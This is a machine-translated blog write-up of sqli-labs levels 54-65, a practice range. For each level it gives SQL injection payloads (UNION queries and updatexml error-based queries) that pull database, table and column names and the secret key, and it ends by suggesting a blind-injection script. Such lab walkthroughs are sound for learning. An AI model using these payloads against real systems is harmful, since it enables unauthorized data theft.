当前位置:网站首页>sql-lab (54-65)
sql-lab (54-65)
2022-07-07 12:24:00 【hcjtn】
(54~60)
sql-lab-54
from 54 Turn off and start , The level began to be difficult
54 Off only allows us to enter statements ten times , After ten sentences, the range will check all the database names , Table name , Refresh the column name . So start from this level , All statements are for reference only .
First step , First judge the closing mode :
id=1 'and 1=2 --q
Page error reporting , So the closing method is Single quotation marks
The second step , Judge whether keywords are disabled
The third step Determine the construction idea of the injection statement
Should echo for this page, so use joint query
?id=-1’ union select 1,2,database() – q
The discovery library is named :challenges
?id=-1 ’ union select 1,table_name,3 from information_schema.tables where table_schema=‘challenges’ limit 0,1-- q
Found table name is :ufka71dqts
?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘ufka71dqts’-- q
Found column name is ::id,sessid,secret_JZU6,tryy
?id=-1 ’ union select 1,secret_JZU6,3 from ufka71dqts – q
The query is successful , Submit our query results to :Submit Secret Key
This problem has been successfully solved !
sql-lab-55
Judge the closure ,?id=1)and 1=1-- q
It is found that the closing mode is Brackets
Determine the construction idea of the injection statement
Should echo for this page, so use joint query
?id=-1)union select 1,2,database() – q
The discovery library is named :challenges
?id=-1 )union select 1,table_name,3 from information_schema.tables where table_schema=‘challenges’ limit 0,1-- q
Found table name is :qbj8tdrlxb
?id=-1)union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘qbj8tdrlxb’-- q
Found column name is :id,sessid,secret_N7EM,tryy
?id=-1 )union select 1,secret_N7EM,3 from qbj8tdrlxb – q
The query is successful , Submit our query results to :Submit Secret Key
This problem has been successfully solved !
sql-lab-56
Judge the closure ,?id=1’)and 1=1-- q
Determine the construction idea of the injection statement
Should echo for this page, so use joint query
?id=-1’) union select 1,2,database() – q
The discovery library is named :challenges
?id=-1 )union select 1,table_name,3 from information_schema.tables where table_schema=‘challenges’ limit 0,1-- q
Found table name is :okzcd5g9co
?id=-1’)union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘okzcd5g9co’-- q
Found column name is ::id,sessid,secret_W8S8,tryy
?id=-1’)union select 1,secret_W8S8,3 from okzcd5g9co – q
The query is successful , Submit our query results to :Submit Secret Key
This problem has been successfully solved !
sql-lab-57
This question is the same as the previous question except for the closing method
Judge the closure ,?id=1"and 1=1-- q
sql-lab-58
First, judge whether it is closed ,?id=1’ and 1=1 – q
Then use the joint query to find that it cannot be used , Then we use error injection .
?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
The discovery library is named :challenges
?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q
Found table name is :20lvmztx1r
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘20lvmztx1r’ limit 0,1),0x7e),1)-- q
Found column name is :id,sessid,secret_X8WY,tryy
id=1’ and updatexml(1,concat(0x7e,(select secret_X8WY from 20lvmztx1r limit 0,1),0x7e),1)-- q
The query is successful ,
This problem has been successfully solved !
sql-lab-59
?id=1 and 1=2-- q
?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
?id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘fjwx950mdd’ limit 0,1),0x7e),1)-- q
id=1 and updatexml(1,concat(0x7e,(select secret_Z2BD from fjwx950mdd limit 0,1),0x7e),1)-- q
sql-lab-60
?id=1")and 1=2-- q
?id=1") and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
?id=1") and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘hmguhc8wji’ limit 0,1),0x7e),1)-- q
id=1") and updatexml(1,concat(0x7e,(select secret_0LPA from hmguhc8wji limit 0,1),0x7e),1)-- q
(61~65)
spl-lab-61
?id=1’))and 1=1-- q
?id=1’)) and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
?id=1’)) and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q
?id=1’)) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘qd5l9mppz3’ limit 0,1),0x7e),1)-- q
?id=1’)) and updatexml(1,concat(0x7e,(select secret_ZHCO from qd5l9mppz3 limit 0,1),0x7e),1)-- q
sql-lab-62~65
In this problem, we find that joint query and error reporting injection can't use anything
First judge the closing mode :
?id=1’)and 1=1-- q
Then use blind injection
It is suggested to write a blind note script .
Since then sql-lab It's over
边栏推荐
- 【数据聚类】基于多元宇宙优化DBSCAN实现数据聚类分析附matlab代码
- Problem: the string and characters are typed successively, and the results conflict
- What are the technical differences in source code anti disclosure
- @What happens if bean and @component are used on the same class?
- 5V串口接3.3V单片机串口怎么搞?
- Superscalar processor design yaoyongbin Chapter 9 instruction execution excerpt
- 超标量处理器设计 姚永斌 第9章 指令执行 摘录
- 关于 Web Content-Security-Policy Directive 通过 meta 元素指定的一些测试用例
- EPP+DIS学习之路(2)——Blink!闪烁!
- The road to success in R & D efficiency of 1000 person Internet companies
猜你喜欢
全球首堆“玲龙一号”反应堆厂房钢制安全壳上部筒体吊装成功
[play RT thread] RT thread Studio - key control motor forward and reverse rotation, buzzer
111. Network security penetration test - [privilege escalation 9] - [windows 2008 R2 kernel overflow privilege escalation]
从工具升级为解决方案,有赞的新站位指向新价值
Inverted index of ES underlying principle
Zero shot, one shot and few shot
超标量处理器设计 姚永斌 第9章 指令执行 摘录
VSCode的学习使用
Hi3516全系统类型烧录教程
Rationaldmis2022 array workpiece measurement
随机推荐
Inverted index of ES underlying principle
Attack and defense world - PWN learning notes
Sonar:Cognitive Complexity认知复杂度
Rationaldmis2022 array workpiece measurement
[full stack plan - programming language C] basic introductory knowledge
[filter tracking] strapdown inertial navigation simulation based on MATLAB [including Matlab source code 1935]
Is it safe to open an account in Ping An Securities mobile bank?
Steps of redis installation and self startup configuration under CentOS system
2022 8th "certification Cup" China University risk management and control ability challenge
[texture feature extraction] LBP image texture feature extraction based on MATLAB local binary mode [including Matlab source code 1931]
【全栈计划 —— 编程语言之C#】基础入门知识一文懂
免备案服务器会影响网站排名和权重吗?
Superscalar processor design yaoyongbin Chapter 8 instruction emission excerpt
(to be deleted later) yyds, paid academic resources, please keep a low profile!
Tutorial on principles and applications of database system (009) -- conceptual model and data model
112.网络安全渗透测试—[权限提升篇10]—[Windows 2003 LPK.DDL劫持提权&msf本地提权]
<No. 9> 1805. Number of different integers in the string (simple)
2022 年第八届“认证杯”中国高校风险管理与控制能力挑战赛
Typescript interface inheritance
《通信软件开发与应用》课程结业报告